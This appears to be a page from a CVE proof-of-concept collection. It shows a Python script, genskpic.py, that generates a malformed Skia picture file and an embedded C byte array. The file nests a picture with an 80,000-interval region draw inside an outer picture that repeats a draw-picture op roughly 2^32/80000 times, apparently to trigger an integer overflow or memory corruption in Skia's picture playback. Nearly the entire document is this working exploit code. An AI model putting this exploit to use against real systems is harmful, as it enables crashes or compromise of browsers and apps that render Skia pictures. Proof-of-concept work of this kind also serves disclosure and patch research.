4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / genskpic.py PY
import struct

def makeFourByteTag(tag):
    return (ord(tag[0]) << 24) | (ord(tag[1]) << 16) | (ord(tag[2]) << 8) | ord(tag[3])

kNumRectsPerOp = 80000

# Write Pict2
def write_skpict_2():
    data = b'skiapict'
    data += struct.pack('<Iffffb', 86, 0, 0, 400, 400, 1)

    # Resources
    kNumResources = 1
    data += struct.pack('<III', makeFourByteTag('fact'), kNumResources, 0)
    
    fact_buffer = struct.pack('<II', makeFourByteTag('pnt '), 1) + struct.pack('<ffffffI', 0, 0, 1.0, 1.0, 1.0, 1.0, 0) # empty paint object
    data += struct.pack('<II', makeFourByteTag('aray'), len(fact_buffer)) + fact_buffer

    draw_region_opid = 61
    kRegionSentinel = struct.pack('<i', 0x7FFFFFFF)
    
    ySpanCount = 1
    intervalCount = kNumRectsPerOp
    kNumSentinels = 2
    runCount = kNumSentinels
    runCount += ySpanCount * 3
    runCount += intervalCount * 2
    runXIntervals = intervalCount

    runWRegion = 400
    runHRegion = 400
    
    regionop = struct.pack('<I', 1) # required paint id

    regionop += struct.pack('<i', runCount) # count
    
    # Bounds
    # All runs must fit here
    boundsW = 0
    boundsH = runHRegion

    i = 0
    while i < runXIntervals:
        if i > 0:
            boundsW += 1
        boundsW += runWRegion
        i += 1

    regionop += struct.pack('<iiii', 0, 0, boundsW, boundsH)
    regionop += struct.pack('<ii', 
        ySpanCount, # ySpanCount
        intervalCount # intervalCount
    )

    ### Runs
    regionop += struct.pack('<iii', 
        0, # fTop 
        400, # fBottom
        runXIntervals
    )
    
    x = 0
    i = 0
    while i < runXIntervals:
        regionop += struct.pack('<ii', x, x + runWRegion)
        x += runWRegion + 1
        i += 1

    regionop += kRegionSentinel
    regionop += kRegionSentinel

    # size is unused in SkPicturePlayback.cpp so we left it here as 16
    regionop = struct.pack('<i', (draw_region_opid << 24) | 16) + regionop

    translate_opid = 35
    translate_op = struct.pack('<i', (translate_opid << 24) | 16) + struct.pack('<ff', 1, 1)

    set_matrix_opid = 71
    set_matrix_op = struct.pack('<i', (set_matrix_opid << 24) | 16) + struct.pack('<ffffffffffffffff',  1, 0, 0, 0,   0, 1, 0, 0,   0, 0, 1, 0,   0, 0, 0, 1)

    data += struct.pack('<II', makeFourByteTag('read'), len(translate_op) + len(set_matrix_op) + len(regionop)) + set_matrix_op + translate_op + regionop
    data += struct.pack('<I', makeFourByteTag('eof '))

    return data

# Write Pict1
def write_skpict_1():
    data = b'skiapict'
    data += struct.pack('<Iffffb', 86, 0, 0, 400, 400, 1)

    data += struct.pack('<II', makeFourByteTag('pctr'), 1) + write_skpict_2()

    draw_pict_opid = 15
    draw_pict_op = struct.pack('<i', (draw_pict_opid << 24) | 4)
    draw_pict_op += struct.pack('<I', 1)

    draw_pict_op *= int((2147483647 * 2) / kNumRectsPerOp) + 1

    data += struct.pack('<II', makeFourByteTag('read'), len(draw_pict_op)) + draw_pict_op
    data += struct.pack('<I', makeFourByteTag('eof '))

    return data

pdata = write_skpict_1()

with open('pic.skp', 'wb') as f:
    f.write(pdata)

src = '#pragma once\n\n'
src += 'unsigned char kSkiaPictureBytes[] = {\n'

num_bytes = len(pdata)

j = 0
while num_bytes != 0:
    src += '  '
    for i in range(0, min(num_bytes, 20)):
        src += "0x{:02x}".format(pdata[j])

        if j != len(pdata) - 1:
            src += ', '

        j += 1

    src += '\n'
    num_bytes -= min(num_bytes, 20)

src += '};'

with open('drawable_picture.skp.hh', 'w') as skp_cc:
    skp_cc.write(src)